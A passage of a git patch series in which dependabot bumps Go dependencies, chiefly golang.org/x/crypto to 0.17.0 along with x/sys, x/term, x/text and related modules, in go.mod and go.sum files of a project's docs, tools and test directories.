v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= @@ -431,11 +433,11 @@ golang.org/x/sys v0.0.0-20210603081109-ebe580a85c40/go.mod h1:oPkhp1MJrh7nUepCBc golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220114195835-da31bd327af9/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220908164124-27713097b956/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.10.0 h1:SqMFp9UcQJZa+pmYuAKjd9xq1f0j5rLcDIk0mj4qAsA= -golang.org/x/sys v0.10.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.15.0 h1:h48lPFYpsTvQJZF4EKyI4aLHaev3CxivZmv7yZig9pc= +golang.org/x/sys v0.15.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= -golang.org/x/term v0.10.0 h1:3R7pNqamzBraeqj/Tj8qt1aQ2HpmlC+Cx/qL/7hn4/c= -golang.org/x/term v0.10.0/go.mod h1:lpqdcUyK/oCiQxvxVrppt5ggO2KCZ5QblwqPnfZ6d5o= +golang.org/x/term v0.15.0 h1:y/Oo/a/q3IXu26lQgl04j/gjuBDOBlx7X6Om1j2CPW4= +golang.org/x/term v0.15.0/go.mod h1:BDl952bC7+uMoWR75FIrCDx79TPU9oHkTZ9yRbYOrX0= golang.org/x/text v0.0.0-20170915032832-14c0d48ead0c/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= @@ -443,8 +445,8 @@ golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk= golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.4/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= -golang.org/x/text v0.11.0 h1:LAntKIrcmeSKERyiOh0XMV39LXS8IE9UL2yP7+f5ij4= -golang.org/x/text v0.11.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= +golang.org/x/text v0.14.0 h1:ScX5w1eTa3QqT8oi6+ziP7dTV1S2+ALU0bI+0zXKWiQ= +golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= @@ -565,12 +567,12 @@ google.golang.org/genproto v0.0.0-20201210142538-e3217bee35cc/go.mod h1:FWY/as6D google.golang.org/genproto v0.0.0-20201214200347-8c77b98c765d/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= google.golang.org/genproto v0.0.0-20210108203827-ffc7fda8c3d7/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= google.golang.org/genproto v0.0.0-20210226172003-ab064af71705/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= -google.golang.org/genproto v0.0.0-20230526203410-71b5a4ffd15e h1:Ao9GzfUMPH3zjVfzXG5rlWlk+Q8MXWKwWpwVQE1MXfw= -google.golang.org/genproto v0.0.0-20230526203410-71b5a4ffd15e/go.mod h1:zqTuNwFlFRsw5zIts5VnzLQxSRqh+CGOTVMlYbY0Eyk= -google.golang.org/genproto/googleapis/api v0.0.0-20230530153820-e85fd2cbaebc h1:kVKPf/IiYSBWEWtkIn6wZXwWGCnLKcC8oWfZvXjsGnM= -google.golang.org/genproto/googleapis/api v0.0.0-20230530153820-e85fd2cbaebc/go.mod h1:vHYtlOoi6TsQ3Uk2yxR7NI5z8uoV+3pZtR4jmHIkRig= -google.golang.org/genproto/googleapis/rpc v0.0.0-20230530153820-e85fd2cbaebc h1:XSJ8Vk1SWuNr8S18z1NZSziL0CPIXLCCMDOEFtHBOFc= -google.golang.org/genproto/googleapis/rpc v0.0.0-20230530153820-e85fd2cbaebc/go.mod h1:66JfowdXAEgad5O9NnYcsNPLCPZJD++2L9X0PCMODrA= +google.golang.org/genproto v0.0.0-20230803162519-f966b187b2e5 h1:L6iMMGrtzgHsWofoFcihmDEMYeDR9KN/ThbPWGrh++g= +google.golang.org/genproto v0.0.0-20230803162519-f966b187b2e5/go.mod h1:oH/ZOT02u4kWEp7oYBGYFFkCdKS/uYR9Z7+0/xuuFp8= +google.golang.org/genproto/googleapis/api v0.0.0-20230822172742-b8732ec3820d h1:DoPTO70H+bcDXcd39vOqb2viZxgqeBeSGtZ55yZU4/Q= +google.golang.org/genproto/googleapis/api v0.0.0-20230822172742-b8732ec3820d/go.mod h1:KjSP20unUpOx5kyQUFa7k4OJg0qeJ7DEZflGDu2p6Bk= +google.golang.org/genproto/googleapis/rpc v0.0.0-20230822172742-b8732ec3820d h1:uvYuEyMHKNt+lT4K3bN6fGswmK8qSvcreM3BwjDh+y4= +google.golang.org/genproto/googleapis/rpc v0.0.0-20230822172742-b8732ec3820d/go.mod h1:+Bk1OCOj40wS2hwAMA+aCW9ypzm63QTBBHp6lQ3p+9M= google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c= google.golang.org/grpc v1.20.1/go.mod h1:10oTOabMzJvdu6/UiuZezV6QK5dSlG84ov/aaiqXj38= google.golang.org/grpc v1.21.1/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM= @@ -588,8 +590,8 @@ google.golang.org/grpc v1.33.1/go.mod h1:fr5YgcSWrqhRRxogOsw7RzIpsmvOZ6IcH4kBYTp google.golang.org/grpc v1.33.2/go.mod h1:JMHMWHQWaTccqQQlmk3MJZS+GWXOdAesneDmEnv2fbc= google.golang.org/grpc v1.34.0/go.mod h1:WotjhfgOW/POjDeRt8vscBtXq+2VjORFy659qA51WJ8= google.golang.org/grpc v1.35.0/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU= -google.golang.org/grpc v1.55.0 h1:3Oj82/tFSCeUrRTg/5E/7d/W5A1tj6Ky1ABAuZuv5ag= -google.golang.org/grpc v1.55.0/go.mod h1:iYEXKGkEBhg1PjZQvoYEVPTDkHo1/bjTnfwTeGONTY8= +google.golang.org/grpc v1.57.0 h1:kfzNeI/klCGD2YPMUlaGNT3pxvYfga7smW3Vth8Zsiw= +google.golang.org/grpc v1.57.0/go.mod h1:Sd+9RMTACXwmub0zcNY2c4arhtrbBYD1AUHI/dt16Mo= google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8= google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0= google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM= @@ -602,8 +604,8 @@ google.golang.org/protobuf v1.24.0/go.mod h1:r/3tXBNzIEhYS9I1OUVjXDlt8tc493IdKGj google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c= google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= -google.golang.org/protobuf v1.30.0 h1:kPPoIgf3TsEvrm0PFe15JQ+570QVxYzEvvHqChK+cng= -google.golang.org/protobuf v1.30.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= +google.golang.org/protobuf v1.31.0 h1:g0LDEJHgrBl9N9r17Ru3sqWhkIx2NB67okBHPwC7hs8= +google.golang.org/protobuf v1.31.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= gopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= From 724a3128e90eff048a74a593a8672cb0fb211fd3 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 18 Dec 2023 22:43:29 +0000 Subject: [PATCH 0953/1062] chore(deps): bump golang.org/x/crypto Bumps [golang.org/x/crypto](https://github.com/golang/crypto) from 0.0.0-20220525230936-793ad666bf5e to 0.17.0. - [Commits](https://github.com/golang/crypto/commits/v0.17.0) --- updated-dependencies: - dependency-name: golang.org/x/crypto dependency-type: indirect ... Signed-off-by: dependabot[bot] --- .../vulnerabilities/linear-fake/go/go.mod | 10 +++++----- .../vulnerabilities/linear-fake/go/go.sum | 19 ++++++++++--------- 2 files changed, 15 insertions(+), 14 deletions(-) diff --git a/docs/security/vulnerabilities/linear-fake/go/go.mod b/docs/security/vulnerabilities/linear-fake/go/go.mod index 665ae690e3..e024e8238e 100644 --- a/docs/security/vulnerabilities/linear-fake/go/go.mod +++ b/docs/security/vulnerabilities/linear-fake/go/go.mod @@ -36,11 +36,11 @@ require ( github.com/spf13/pflag v1.0.5 // indirect github.com/spf13/viper v1.12.0 // indirect github.com/subosito/gotenv v1.3.0 // indirect - golang.org/x/crypto v0.0.0-20220525230936-793ad666bf5e // indirect - golang.org/x/net v0.7.0 // indirect - golang.org/x/sys v0.5.0 // indirect - golang.org/x/term v0.5.0 // indirect - golang.org/x/text v0.7.0 // indirect + golang.org/x/crypto v0.17.0 // indirect + golang.org/x/net v0.10.0 // indirect + golang.org/x/sys v0.15.0 // indirect + golang.org/x/term v0.15.0 // indirect + golang.org/x/text v0.14.0 // indirect google.golang.org/genproto v0.0.0-20230110181048-76db0878b65f // indirect google.golang.org/grpc v1.53.0 // indirect google.golang.org/protobuf v1.28.1 // indirect diff --git a/docs/security/vulnerabilities/linear-fake/go/go.sum b/docs/security/vulnerabilities/linear-fake/go/go.sum index e00420bbec..299dcd388a 100644 --- a/docs/security/vulnerabilities/linear-fake/go/go.sum +++ b/docs/security/vulnerabilities/linear-fake/go/go.sum @@ -679,8 +679,9 @@ golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e/go.mod h1:GvvjBRRGRdwPK5y golang.org/x/crypto v0.0.0-20210711020723-a769d52b0f97/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= golang.org/x/crypto v0.0.0-20211108221036-ceb1ce70b4fa/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= golang.org/x/crypto v0.0.0-20220411220226-7b82a4e95df4/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= -golang.org/x/crypto v0.0.0-20220525230936-793ad666bf5e h1:T8NU3HyQ8ClP4SEE+KbFlg6n0NhuTsN4MyznaarGsZM= golang.org/x/crypto v0.0.0-20220525230936-793ad666bf5e/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= +golang.org/x/crypto v0.17.0 h1:r8bRNjWL3GshPW3gkd+RpvzWrZAwPS49OmTGZ/uhM4k= +golang.org/x/crypto v0.17.0/go.mod h1:gCAAfMLgwOJRpTjQ2zCCt2OcSfYMTeZVSRtQlPC7Nq4= golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/exp v0.0.0-20190306152737-a1d7652674e8/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/exp v0.0.0-20190510132918-efd6b22b2522/go.mod h1:ZjyILWgesfNpC6sMxTJOJm9Kp84zZh5NQWvqDGG3Qr8= @@ -770,8 +771,8 @@ golang.org/x/net v0.0.0-20220412020605-290c469a71a5/go.mod h1:CfG3xpIq0wQ8r1q4Su golang.org/x/net v0.0.0-20220425223048-2871e0cb64e4/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= golang.org/x/net v0.0.0-20220520000938-2e3eb7b945c2/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= golang.org/x/net v0.0.0-20220708220712-1185a9018129/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= -golang.org/x/net v0.7.0 h1:rJrUqqhjsgNp7KqAIc25s9pZnjU7TUcSY7HcVZjdn1g= -golang.org/x/net v0.7.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= +golang.org/x/net v0.10.0 h1:X2//UzNDwYmtCLn7To6G58Wr6f5ahEAQgKNzv9Y951M= +golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg= golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= @@ -900,13 +901,13 @@ golang.org/x/sys v0.0.0-20220412211240-33da011f77ad/go.mod h1:oPkhp1MJrh7nUepCBc golang.org/x/sys v0.0.0-20220502124256-b6088ccd6cba/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220708085239-5a0f0661e09d/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.5.0 h1:MUK/U/4lj1t1oPg0HfuXDN/Z1wv31ZJ/YcPiGccS4DU= -golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.15.0 h1:h48lPFYpsTvQJZF4EKyI4aLHaev3CxivZmv7yZig9pc= +golang.org/x/sys v0.15.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= -golang.org/x/term v0.5.0 h1:n2a8QNdAb0sZNpU9R1ALUXBbY+w51fCQDN+7EdxNBsY= -golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= +golang.org/x/term v0.15.0 h1:y/Oo/a/q3IXu26lQgl04j/gjuBDOBlx7X6Om1j2CPW4= +golang.org/x/term v0.15.0/go.mod h1:BDl952bC7+uMoWR75FIrCDx79TPU9oHkTZ9yRbYOrX0= golang.org/x/text v0.0.0-20170915032832-14c0d48ead0c/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= @@ -916,8 +917,8 @@ golang.org/x/text v0.3.4/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.5/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= -golang.org/x/text v0.7.0 h1:4BRB4x83lYWy72KwLD/qYDuTu7q9PjSagHvijDw7cLo= -golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= +golang.org/x/text v0.14.0 h1:ScX5w1eTa3QqT8oi6+ziP7dTV1S2+ALU0bI+0zXKWiQ= +golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= From 018c96be803980958d5c061b00f433cb71608b71 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 18 Dec 2023 23:36:15 +0000 Subject: [PATCH 0954/1062] chore(deps): bump golang.org/x/crypto in /tools/mkdb Bumps [golang.org/x/crypto](https://github.com/golang/crypto) from 0.14.0 to 0.17.0. - [Commits](https://github.com/golang/crypto/compare/v0.14.0...v0.17.0) --- updated-dependencies: - dependency-name: golang.org/x/crypto dependency-type: indirect ... Signed-off-by: dependabot[bot] --- tools/mkdb/go.mod | 10 +++++----- tools/mkdb/go.sum | 20 ++++++++++---------- 2 files changed, 15 insertions(+), 15 deletions(-) diff --git a/tools/mkdb/go.mod b/tools/mkdb/go.mod index df57b6912d..7d51765f98 100644 --- a/tools/mkdb/go.mod +++ b/tools/mkdb/go.mod @@ -12,7 +12,7 @@ require ( github.com/cespare/xxhash/v2 v2.2.0 // indirect github.com/fsnotify/fsnotify v1.6.0 // indirect github.com/golang/protobuf v1.5.3 // indirect - github.com/google/uuid v1.3.1 // indirect + github.com/google/uuid v1.4.0 // indirect github.com/grpc-ecosystem/go-grpc-middleware v1.3.0 // indirect github.com/grpc-ecosystem/grpc-gateway v1.16.0 // indirect github.com/hashicorp/hcl v1.0.0 // indirect @@ -36,11 +36,11 @@ require ( github.com/spf13/pflag v1.0.5 // indirect github.com/spf13/viper v1.15.0 // indirect github.com/subosito/gotenv v1.4.2 // indirect - golang.org/x/crypto v0.14.0 // indirect + golang.org/x/crypto v0.17.0 // indirect golang.org/x/net v0.17.0 // indirect - golang.org/x/sys v0.13.0 // indirect - golang.org/x/term v0.13.0 // indirect - golang.org/x/text v0.13.0 // indirect + golang.org/x/sys v0.15.0 // indirect + golang.org/x/term v0.15.0 // indirect + golang.org/x/text v0.14.0 // indirect google.golang.org/genproto v0.0.0-20230803162519-f966b187b2e5 // indirect google.golang.org/genproto/googleapis/api v0.0.0-20230822172742-b8732ec3820d // indirect google.golang.org/genproto/googleapis/rpc v0.0.0-20230822172742-b8732ec3820d // indirect diff --git a/tools/mkdb/go.sum b/tools/mkdb/go.sum index 265e3af59d..e4add9067e 100644 --- a/tools/mkdb/go.sum +++ b/tools/mkdb/go.sum @@ -152,8 +152,8 @@ github.com/google/pprof v0.0.0-20201203190320-1bf35d6f28c2/go.mod h1:kpwsk12EmLe github.com/google/pprof v0.0.0-20201218002935-b9804c9f04c2/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI= github.com/google/uuid v1.1.2/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= -github.com/google/uuid v1.3.1 h1:KjJaJ9iWZ3jOFZIf1Lqf4laDRCasjl0BCmnEGxkdLb4= -github.com/google/uuid v1.3.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/google/uuid v1.4.0 h1:MtMxsa51/r9yyhkyLsVeVt0B+BGQZzpQiTQ4eHZ8bc4= +github.com/google/uuid v1.4.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/googleapis/gax-go/v2 v2.0.4/go.mod h1:0Wqv26UfaUD9n4G6kQubkQ+KchISgw+vpHVxEJEs9eg= github.com/googleapis/gax-go/v2 v2.0.5/go.mod h1:DWXyrwAJ9X0FpwwEdw+IPEYBICEFu5mhpdKc/us6bOk= github.com/googleapis/google-cloud-go-testing v0.0.0-20200911160855-bcd43fbb19e8/go.mod h1:dvDLG8qkwmyD9a/MJJN3XJcT3xFxOKAvTZGvuZmac9g= @@ -296,8 +296,8 @@ golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8U golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= golang.org/x/crypto v0.0.0-20210421170649-83a5a9bb288b/go.mod h1:T9bdIzuCu7OtxOm1hfPfRQxPLYneinmdGuTeoZ9dtd4= golang.org/x/crypto v0.0.0-20211108221036-ceb1ce70b4fa/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= -golang.org/x/crypto v0.14.0 h1:wBqGXzWJW6m1XrIKlAH0Hs1JJ7+9KBwnIO8v66Q9cHc= -golang.org/x/crypto v0.14.0/go.mod h1:MVFd36DqK4CsrnJYDkBA3VC4m2GkXAM0PvzMCn4JQf4= +golang.org/x/crypto v0.17.0 h1:r8bRNjWL3GshPW3gkd+RpvzWrZAwPS49OmTGZ/uhM4k= +golang.org/x/crypto v0.17.0/go.mod h1:gCAAfMLgwOJRpTjQ2zCCt2OcSfYMTeZVSRtQlPC7Nq4= golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/exp v0.0.0-20190306152737-a1d7652674e8/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/exp v0.0.0-20190510132918-efd6b22b2522/go.mod h1:ZjyILWgesfNpC6sMxTJOJm9Kp84zZh5NQWvqDGG3Qr8= @@ -433,11 +433,11 @@ golang.org/x/sys v0.0.0-20210603081109-ebe580a85c40/go.mod h1:oPkhp1MJrh7nUepCBc golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220114195835-da31bd327af9/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220908164124-27713097b956/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.13.0 h1:Af8nKPmuFypiUBjVoU9V20FiaFXOcuZI21p0ycVYYGE= -golang.org/x/sys v0.13.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.15.0 h1:h48lPFYpsTvQJZF4EKyI4aLHaev3CxivZmv7yZig9pc= +golang.org/x/sys v0.15.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= -golang.org/x/term v0.13.0 h1:bb+I9cTfFazGW51MZqBVmZy7+JEJMouUHTUSKVQLBek= -golang.org/x/term v0.13.0/go.mod h1:LTmsnFJwVN6bCy1rVCoS+qHT1HhALEFxKncY3WNNh4U= +golang.org/x/term v0.15.0 h1:y/Oo/a/q3IXu26lQgl04j/gjuBDOBlx7X6Om1j2CPW4= +golang.org/x/term v0.15.0/go.mod h1:BDl952bC7+uMoWR75FIrCDx79TPU9oHkTZ9yRbYOrX0= golang.org/x/text v0.0.0-20170915032832-14c0d48ead0c/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= @@ -445,8 +445,8 @@ golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk= golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.4/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= -golang.org/x/text v0.13.0 h1:ablQoSUd0tRdKxZewP80B+BaqeKJuVhuRxj/dkrun3k= -golang.org/x/text v0.13.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= +golang.org/x/text v0.14.0 h1:ScX5w1eTa3QqT8oi6+ziP7dTV1S2+ALU0bI+0zXKWiQ= +golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= From 7c40a05068dc91371ce79990f2d5505a377d4b49 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 18 Dec 2023 23:38:13 +0000 Subject: [PATCH 0955/1062] chore(deps): bump golang.org/x/crypto in /test/columns Bumps [golang.org/x/crypto](https://github.com/golang/crypto) from 0.14.0 to 0.17.0. - [Commits](https://github.com/golang/crypto/compare/v0.14.0...v0.17.0) --- updated-dependencies: - dependency-name: golang.org/x/crypto dependency-type: indirect ... Signed-off-by: dependabot[bot] --- test/columns/go.mod | 10 +++++----- test/columns/go.sum | 20 ++++++++++---------- 2 files changed, 15 insertions(+), 15 deletions(-) diff --git a/test/columns/go.mod b/test/columns/go.mod index 102716b622..5faa01e5e3 100644 --- a/test/columns/go.mod +++ b/test/columns/go.mod @@ -12,7 +12,7 @@ require ( github.com/cespare/xxhash/v2 v2.2.0 // indirect github.com/fsnotify/fsnotify 